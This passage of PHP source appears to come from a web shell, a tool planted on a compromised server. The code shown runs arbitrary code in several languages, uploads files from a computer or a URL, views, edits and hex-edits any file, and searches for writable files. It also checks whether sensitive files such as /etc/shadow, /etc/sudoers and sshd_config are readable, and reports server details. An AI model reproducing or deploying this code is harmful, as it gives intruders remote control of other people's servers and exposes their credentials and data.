1349                if(file_put_contents($s_script.".java", $s_code)!==false){
1350                    $s_res = exe("javac ".$s_script.".java");
1351                    if(@is_file($s_script.".class")){
1352                        $s_res .= exe("java ".$s_evaloption." ".$s_script);
1353                        unlink($s_script.".class");
1354                    }
1355                    unlink($s_script.".java");
1356                }
1357                chdir($s_pwd);
1358            }
1359        }
1360 
1361        $s_lang_available = "<option value='php'>php</option>";
1362        $s_selected = "";
1363        $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java");
1364        foreach($s_access as $s){
1365            if(isset($$s)){
1366                $s_t = explode("_", $s);
1367                $s_checked = ($s_lang == $s_t[1])? "selected" : "";
1368                $s_lang_available .= "<option value='".$s_t[1]."' ".$s_checked.">".$s_t[1]."</option>";
1369            }
1370        }
1371 
1372        $s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
1373        $s_e_result = (!empty($s_res))? "<pre id='evalres' class='border-top' style='margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
1374        $s_result .= "<form action='".$s_self."' method='post'>
1375                   <textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
1376                   <table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
1377                   </td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
1378                   ".$s_lang_available."
1379                   </select>
1380                   </td>
1381                   <td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'>Additional option&nbsp;&nbsp;<input class='inputz' style='width:400px;' type='text' name='evaloption' value='".$s_evaloption."' id='evaloption' /></div></td>
1382                   </tr>
1383                   </table>
1384                   ".$s_e_result."
1385                   <input type='hidden' name='x' value='eval' />
1386                   </form>";
1387    } // find
1388    elseif(isset($_GP['find'])){
1389        $s_p = $_GP['find'];
1390 
1391        $s_type = isset($_GP['type'])? $_GP['type'] : "sfile";
1392        $s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:'';
1393        $s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:'';
1394        $s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:'';
1395 
1396        $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
1397        $s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;
1398 
1399        if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
1400        if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
1401        if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
1402        if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
1403        if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
1404        if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
1405        if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; }
1406        if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
1407        if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }
1408 
1409        $s_sexecb = (function_exists("is_executable"))? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>":"";
1410 
1411        $s_candidate = array();
1412        if(isset($_GP['sgo'])){
1413            $s_af = "";
1414 
1415            $s_candidate = getallfiles($s_p);
1416            if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
1417            elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");
1418 
1419            foreach($s_candidate as $s_a){
1420                if($s_type=='sdir'){
1421                    if(!empty($s_sdname)){
1422                        if($s_sdnameregex){
1423                            if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
1424                            else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
1425                        }
1426                        else{
1427                            if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
1428                            else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
1429                        }
1430                    }
1431                }
1432                elseif($s_type=='sfile'){
1433                    if(!empty($s_sfname)){
1434                        if($s_sfnameregex){
1435                            if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
1436                            else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
1437                        }
1438                        else{
1439                            if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
1440                            else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
1441                        }
1442                    }
1443                    if(!empty($s_sfcontain)){
1444                        $s_sffcontent = @file_get_contents($s_a);
1445                        if($s_sfcontainregex){
1446                            if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
1447                            else{if(!preg_match("/".$s_sfcontain."/",  $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
1448                        }
1449                        else{
1450                            if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
1451                            else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
1452                        }
1453                    }
1454                }
1455            }
1456        }
1457 
1458        $s_f_result = ""; $s_link="";
1459        foreach($s_candidate as $s_c){
1460            $s_c = trim($s_c);
1461            if($s_swritable && !@is_writable($s_c)) continue;
1462            if($s_sreadable && !@is_readable($s_c)) continue;
1463            if($s_sexecutable && !@is_executable($s_c)) continue;
1464 
1465            if($s_type=="sfile") $s_link = $s_self."view=".$s_c;
1466            elseif($s_type=="sdir") $s_link = $s_self."view=".cp($s_c);
1467            $s_f_result .= "<p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"><a href='".$s_link."'>".$s_c."</a></p>";
1468        }
1469 
1470        $s_tsdir = ($s_type=="sdir")? "selected":"";
1471        $s_tsfile = ($s_type=="sfile")? "selected":"";
1472 
1473        if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);
1474 
1475        $s_result .= "<form action='".$s_self."' method='post'>
1476       <div class='mybox'><h2>Find</h2>
1477       <table class='myboxtbl'>
1478       <tr><td style='width:140px;'>Search in</td>
1479       <td colspan='2'><input style='width:100%;' value='".$s_p."' class='inputz' type='text' name='find' /></td></tr>
1480       <tr onclick=\"findtype('sdir');\">
1481           <td>Dirname contains</td>
1482           <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".$s_sdname."' /></td>
1483           <td>
1484               <input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label>
1485               <input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label>
1486           </td>
1487       </tr>
1488       <tr onclick=\"findtype('sfile');\">
1489           <td>Filename contains</td>
1490           <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".$s_sfname."' /></td>
1491           <td>
1492               <input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label>
1493               <input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label>
1494           </td>
1495       </tr>
1496       <tr onclick=\"findtype('sfile');\">
1497           <td>File contains</td>
1498           <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".$s_sfcontain."' /></td>
1499           <td>
1500               <input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label>
1501               <input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label>
1502           </td>
1503       </tr>
1504       <tr>
1505           <td>Permissions</td>
1506           <td colspan='2'>
1507               <input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label>
1508               <input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label>
1509               ".$s_sexecb."
1510           </td>
1511       </tr>
1512       <tr><td>
1513       <input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
1514       </td>
1515       <td>
1516       <select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
1517           <option value='sfile' ".$s_tsfile.">Search file</option>
1518           <option value='sdir' ".$s_tsdir.">Search dir</option>
1519       </select>
1520       </td>
1521       <td></td></tr>
1522       </table>
1523       </div>
1524       </form>
1525       <div>
1526       ".$s_f_result."
1527       </div>";
1528    } // upload
1529    elseif(isset($_GP['x']) && ($_GP['x']=='upload')){
1530        $s_result = " ";
1531        $s_msg = "";
1532        if(isset($_GP['uploadhd'])){
1533            $c = count($_FILES['filepath']['name']);
1534            for($i = 0; $i<$c; $i++){
1535                $s_fn = $_FILES['filepath']['name'][$i];
1536                if(empty($s_fn)) continue;
1537                if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
1538                    $s_p = cp($_GP['savefolder'][$i]);
1539                    if(!@is_dir($s_p)) mkdir($s_p);
1540                    if(isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
1541                    $s_tm = $_FILES['filepath']['tmp_name'][$i];
1542                    $s_pi = cp($s_p).$s_fn;
1543                    $s_st = @move_uploaded_file($s_tm,$s_pi);
1544                    if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".$s_pi."'>".$s_pi."</a>");
1545                    else $s_msg .= notif("Failed to upload ".$s_fn);
1546                }
1547                else $s_msg .= notif("Failed to upload ".$s_fn);
1548            }
1549        }
1550        elseif(isset($_GP['uploadurl'])){
1551            // function dlfile($s_url,$s_fpath)
1552            $c = count($_GP['fileurl']);
1553            for($i = 0; $i<$c; $i++){
1554                $s_fu = $_GP['fileurl'][$i];
1555                if(empty($s_fu)) continue;
1556 
1557                $s_p = cp($_GP['savefolderurl'][$i]);
1558                if(!@is_dir($s_p)) mkdir($s_p);
1559 
1560                $s_fn = basename($s_fu);
1561                if(isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
1562                $s_fp = cp($s_p).$s_fn;
1563                $s_st = dlfile($s_fu,$s_fp);
1564                if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".$s_fp."'>".$s_fp."</a>");
1565                else $s_msg .= notif("Failed to upload ".$s_fn);
1566            }
1567        }
1568        else{
1569            if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
1570        }
1571 
1572        if(!empty($s_msg)) $s_result .= $s_msg;
1573        $s_result .= "
1574           <form action='".$s_self."' method='post' enctype='multipart/form-data'>
1575           <div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2>
1576           <table class='myboxtbl'>
1577           <tbody id='adduploadc'>
1578           <tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr>
1579           <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".$s_cwd."' /></td></tr>
1580           <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>
1581           </tbody>
1582           <tfoot>
1583           <tr><td>&nbsp;</td><td>
1584           <input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1585           <input type='hidden' name='x' value='upload' />
1586           </td></tr>
1587           </tfoot>
1588           </table>
1589           </div>
1590           </form>
1591           <form action='".$s_self."' method='post'>
1592           <div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2>
1593           <table class='myboxtbl'>
1594           <tbody id='adduploadi'>
1595           <tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' />
1596           </td></tr>
1597           <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".$s_cwd."' /></td></tr>
1598           <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>
1599           </tbody>
1600           <tfoot>
1601           <tr><td>&nbsp;</td><td>
1602           <input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1603           <input type='hidden' name='x' value='upload' />
1604           </td></tr>
1605           </table>
1606           </div>
1607           </form>";
1608    } // view file
1609    elseif(isset($_GP['view'])){
1610        $s_f = $_GP['view'];
1611        if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;
1612 
1613        $s_owner = "";
1614        if(@is_file($s_f)){
1615            $targetdir = dirname($s_f);
1616            chdir($targetdir);
1617            $s_cwd = cp(getcwd());
1618            setcookie("cwd", $s_cwd ,time() + $s_login_time);
1619 
1620            if(!$s_win && $s_posix){
1621                $s_name = posix_getpwuid(fileowner($s_f));
1622                $s_group = posix_getgrgid(filegroup($s_f));
1623                $s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
1624            }
1625            $s_filn = basename($s_f);
1626            $s_dlfile = get_archiver_available();
1627            $s_dlfile = str_replace("__dlpath__",$s_filn,$s_dlfile);
1628            $s_dlfile = str_replace("__dlcwd__",$s_cwd,$s_dlfile);
1629            $s_result .= "<table class='viewfile' style='width:100%;'>
1630           <tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_f."</span>
1631           <div id='".cs($s_filn)."_form' class='sembunyi'>
1632           <form action='".$s_self."' method='post'>
1633               <input type='hidden' name='oldname' value='".$s_f."' style='margin:0;padding:0;' />
1634               <input type='hidden' name='view' value='".$s_f."' />
1635               <input class='inputz' style='width:200px;' type='text' name='rename' value='".$s_f."' />
1636               <input class='inputzbut' type='submit' value='rename' />
1637           </form>
1638           <input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" />
1639           </div>
1640           </td></tr>
1641           <tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
1642           <tr><td>Permission</td><td>".gp($s_f)."</td></tr>
1643           ".$s_owner."
1644           <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
1645           <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
1646           <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
1647           <tr><td>Actions</td><td>
1648           <a href='".$s_self."edit=".$s_f."' title='edit'>edit</a> | <a href='".$s_self."hexedit=".$s_f."' title='edit as hex'>hex</a> | <a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'>ren</a> | <a href='".$s_self."del=".$s_f."' title='delete'>del</a> ".$s_dlfile."
1649           </td></tr>
1650           <tr><td>View</td><td>
1651           <a href='".$s_self."view=".$s_f."&type=text'>text</a> | <a href='".$s_self."view=".$s_f."&type=code'>code</a> | <a href='".$s_self."view=".$s_f."&type=image'>image</a> | <a href='".$s_self."view=".$s_f."&type=audio'>audio</a> | <a href='".$s_self."view=".$s_f."&type=video'>video</a>
1652           </td></tr>
1653           </table>";
1654 
1655            $s_t = ""; $s_mime = "";
1656            $s_mime_list = gzinflate(base64_decode($s_mime_types));
1657            $s_ext_pos = strrpos($s_f, ".");
1658            if($s_ext_pos!==false){
1659                $s_ext = trim(substr($s_f, $s_ext_pos),".");
1660                if(preg_match("/([^\s]+)\ .*\b".$s_ext."\b.*/i",$s_mime_list,$s_r)){
1661                    $s_mime = $s_r[1];
1662                }
1663            }
1664 
1665            $s_iinfo = @getimagesize($s_f);
1666            if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
1667            elseif(is_array($s_iinfo)) $s_t = 'image';
1668            elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));
1669 
1670            if(isset($_GP['type'])) $s_t = $_GP['type'];
1671 
1672            if($s_t=="image"){
1673                $s_width = (int) $s_iinfo[0];
1674                $s_height = (int) $s_iinfo[1];
1675                $s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />
1676                   Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
1677                if($s_width > 800){
1678                    $s_width = 800;
1679                    $s_imglink = "<p><a href='".$s_self."img=".$s_filn."'>
1680                   <span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
1681                }
1682                else $s_imglink = "";
1683 
1684                $s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."
1685                   <img width='".$s_width."' src='".$s_self."img=".$s_filn."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";
1686 
1687            }
1688            elseif($s_t=="code"){
1689                $s_result .= "<div class=\"viewfilecontent\">";
1690                $s_file = wordwrap(@file_get_contents($s_f),160,"\n",true);
1691                $s_buff = highlight_string($s_file,true);
1692                $s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
1693                $s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
1694                $s_buff = str_replace($s_old,$s_new, $s_buff);
1695                $s_result .= $s_buff;
1696                $s_result .=  "</div>";
1697            }
1698            elseif($s_t=="audio" || $s_t=="video"){
1699                $s_result .= "<div class='viewfilecontent' style='text-align:center;'>
1700                           <".$s_t." controls>
1701                           <source src='".$s_self."dltype=raw&dlpath=".$s_f."' type='".$s_mime."'>
1702                               <object data='".$s_self."dltype=raw&dlpath=".$s_f."'>
1703                                   <embed src='".$s_self."dltype=raw&dlpath=".$s_f."'>
1704                               </object>
1705                           </".$s_t.">
1706                           </div>";
1707            }
1708            else {
1709                $s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
1710                $s_result .=  str_replace("<", "<",str_replace(">", ">",(wordwrap(@file_get_contents($s_f),160,"\n",true))));
1711                $s_result .=   "</pre>";
1712            }
1713        }
1714        elseif(@is_dir($s_f)){
1715            chdir($s_f);
1716            $s_cwd = cp(getcwd());
1717            setcookie("cwd", $s_cwd ,time() + $s_login_time);
1718            $s_result .= showdir($s_cwd);
1719        }
1720        else $s_result .= notif("Cannot find the path specified ".$s_f);
1721 
1722    } // edit file
1723    elseif(isset($_GP['edit'])){
1724        $s_f = $_GP['edit'];
1725        $s_fc = ""; $s_fcs = "";
1726 
1727        if(isset($_GP['new']) && ($_GP['new']=='yes')){
1728            $s_num = 1;
1729            if(@is_file($s_f)){
1730                $s_pos = strrpos($s_f,"_");
1731                if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
1732                while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
1733                    $s_num++;
1734                }
1735                $s_f = substr($s_f,0,$s_pos)."_".$s_num;
1736            }
1737        }
1738        else if(@is_file($s_f)) $s_fc = @file_get_contents($s_f);
1739 
1740        if(isset($_GP['fc'])){
1741            $s_fc = $_GP['fc'];
1742            $s_eol = $_GP['eol'];
1743            $s_eolf = pack("H*", geol($s_fc));
1744            $s_eolh = pack("H*", $s_eol);
1745            $s_fc = str_replace($s_eolf, $s_eolh, $s_fc);
1746 
1747            if($s_filez = fopen($s_f,"w")){
1748                $s_time = @date("d-M-Y H:i:s",time());
1749                if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
1750                else $s_fcs = "Failed to save";
1751                fclose($s_filez);
1752            }
1753            else $s_fcs = "Permission denied";
1754        }
1755        elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";
1756 
1757        $s_eol = geol($s_fc);
1758 
1759        if(!empty($s_fcs)) $s_result .= notif($s_fcs);
1760        $s_result .= "<form action='".$s_self."' method='post'>
1761               <textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea>
1762               <p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".$s_f."' /></p>
1763               <p><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
1764               <input type='hidden' name='eol' value='".$s_eol."' />
1765               </form>";
1766 
1767    } // hex edit file
1768    elseif(isset($_GP['hexedit'])){
1769        $s_f = $_GP['hexedit'];
1770        $s_fc = ""; $s_fcs = ""; $s_hexes = "";
1771        $s_lnum = 0;
1772 
1773        if(!empty($_GP['hexes']) || !empty($_GP['hexestxtarea'])){
1774            if(!empty($_GP['hexes'])){
1775                foreach($_GP['hexes'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
1776            }
1777            elseif(!empty($_GP['hexestxtarea'])){
1778                $s_hexes = trim($_GP['hexestxtarea']);
1779            }
1780            if($s_filez = fopen($s_f,"w")){
1781                    $s_bins = pack("H*", $s_hexes);
1782                    $s_time = @date("d-M-Y H:i:s", time());
1783                    if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
1784                    else $s_fcs = "Failed to save";
1785                    fclose($s_filez);
1786                }
1787            else $s_fcs = "Permission denied";
1788        }
1789        else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";
1790 
1791        if(!empty($s_fcs)) $s_result .= notif($s_fcs);
1792 
1793        $s_result .= "<form action='".$s_self."' method='post'>
1794                   <p style='padding:0;text-align:center;'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='".$s_f."' /></p>
1795                   <p class='border-bottom' style='padding:0 0 14px 0;'><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return submithex();\" /></p>
1796                   <table class='explore'>";
1797 
1798        if(@is_file($s_f)){
1799            $s_fp = fopen($s_f, "r");
1800            if($s_fp) {
1801                $s_ldump = "";
1802                $s_counter = 0;
1803                $s_icounter = 0;
1804                while(!feof($s_fp)){
1805                    $s_line = fread($s_fp, 32);
1806                    $s_linehex = strtoupper(bin2hex($s_line));
1807                    $s_linex = str_split($s_linehex, 2);
1808                    $s_linehex = implode(" ", $s_linex);
1809                    $s_addr = sprintf("%08xh", $s_icounter);
1810 
1811                    $s_result .= "<tr><td style='text-align:center;width:60px;'>".$s_addr."</td><td style='text-align:left;width:594px;'>
1812                   <input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hexupdate('".$s_counter."',event);\" onkeydown=\"return hexfix('".$s_counter."',event);\" onkeyup=\"hexupdate('".$s_counter."',event);\" type='text' class='inputz' id='hex_".$s_counter."' name='hexes[]' value='".$s_linehex."' style='width:578px;' maxlength='".strlen($s_linehex)."' /></td>
1813                   <td style='text-align:left;letter-spacing:2px;'>
1814                   <pre name='hexdump' id='dump_".$s_counter."' style='margin:0;padding:0;'></pre></td></tr>";
1815                    $s_counter++;
1816                    $s_icounter+=32;
1817                }
1818                $s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
1819                $s_result .= "<textarea name='hexestxtarea' id='hexestxtarea' class='sembunyi'></textarea>";
1820                fclose($s_fp);
1821            }
1822        }
1823        $s_result .= "</table></form>";
1824 
1825    } // show server information
1826    elseif(isset($_GP['x']) && ($_GP['x']=='info')){
1827        $s_result = "";
1828        // server misc info
1829        $s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
1830        $s_result .= "<div class='info' id='info_server'><table>";
1831 
1832        if($s_win){
1833            foreach (range("A", "Z") as $s_letter){
1834                if((@is_dir($s_letter.":\\") && @is_readable($s_letter.":\\"))){
1835                    $s_drive = $s_letter.":";
1836                    $s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
1837                }
1838            }
1839        }
1840        else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";
1841 
1842        $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
1843        $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
1844        foreach($s_access as $s){
1845            $s_t = explode("_", $s);
1846            if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
1847        }
1848 
1849        if(!$s_win){
1850            $s_interesting = array(
1851            "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
1852            "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
1853            "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
1854            "/etc/ssh/sshd_config",
1855            "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
1856            "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
1857            "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
1858            foreach($s_interesting as $s_f){
1859                if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".$s_f."'>".$s_f." is readable</a></td></tr>";
1860            }
1861        }
1862        $s_result .= "</table></div>";
1863 
1864        if(!$s_win){
1865            // cpu info
1866            if($s_i_buff=trim(@file_get_contents("/proc/cpuinfo"))){
1867                $s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
1868                $s_result .= "<div class='info' id='info_cpu'>";
1869                $s_i_buffs = explode("\n\n", $s_i_buff);
1870                foreach($s_i_buffs as $s_i_buffss){
1871                    $s_i_buffss = trim($s_i_buffss);
1872                    if($s_i_buffss!=""){
1873                        $s_i_buffsss = explode("\n", $s_i_buffss);
1874                        $s_result .= "<table>";
1875                        foreach($s_i_buffsss as $s_i){
1876                            $s_i = trim($s_i);
1877                            if($s_i!=""){
1878                                $s_ii = explode(":",$s_i);
1879                                if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
1880                            }
1881                        }
1882                        $s_result .= "</table>";
1883                    }
1884                }
1885                $s_result .= "</div>";
1886            }
1887 
1888            // mem info
1889            if($s_i_buff=trim(@file_get_contents("/proc/meminfo"))){
1890                $s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
1891                $s_i_buffs = explode("\n", $s_i_buff);
1892                $s_result .= "<div class='info' id='info_mem'><table>";
1893                foreach($s_i_buffs as $s_i){
1894                    $s_i = trim($s_i);
1895                    if($s_i!=""){
1896                        $s_ii = explode(":",$s_i);
1897                        if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
1898                    }
1899                    else $s_result .= "</table><table>";
1900                }
1901                $s_result .= "</table></div>";
1902            }
1903 
1904            // partition
1905            if($s_i_buff=trim(@file_get_contents("/proc/partitions"))){
1906                $s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
1907                $s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
1908                $s_result .= "<div class='info' id='info_part'>";
1909                $s_i_buffs = explode("\n\n", $s_i_buff);
1910                $s_result .= "<table><tr>";
1911                $s_i_head = explode(" ", $s_i_buffs[0]);
1912                foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
1913                $s_result .= "</tr>";
1914                $s_i_buffss = explode("\n", $s_i_buffs[1]);
1915                foreach($s_i_buffss as $s_i_b){
1916                    $s_i_row = explode(" ", trim($s_i_b));
1917                    $s_result .= "<tr>";
1918                    foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
1919                    $s_result .= "</tr>";
1920                }
1921                $s_result .= "</table>";
1922                $s_result .= "</div>";
1923            }
1924        }
1925        $s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
1926        foreach($s_phpinfo as $s_p=>$s_i){
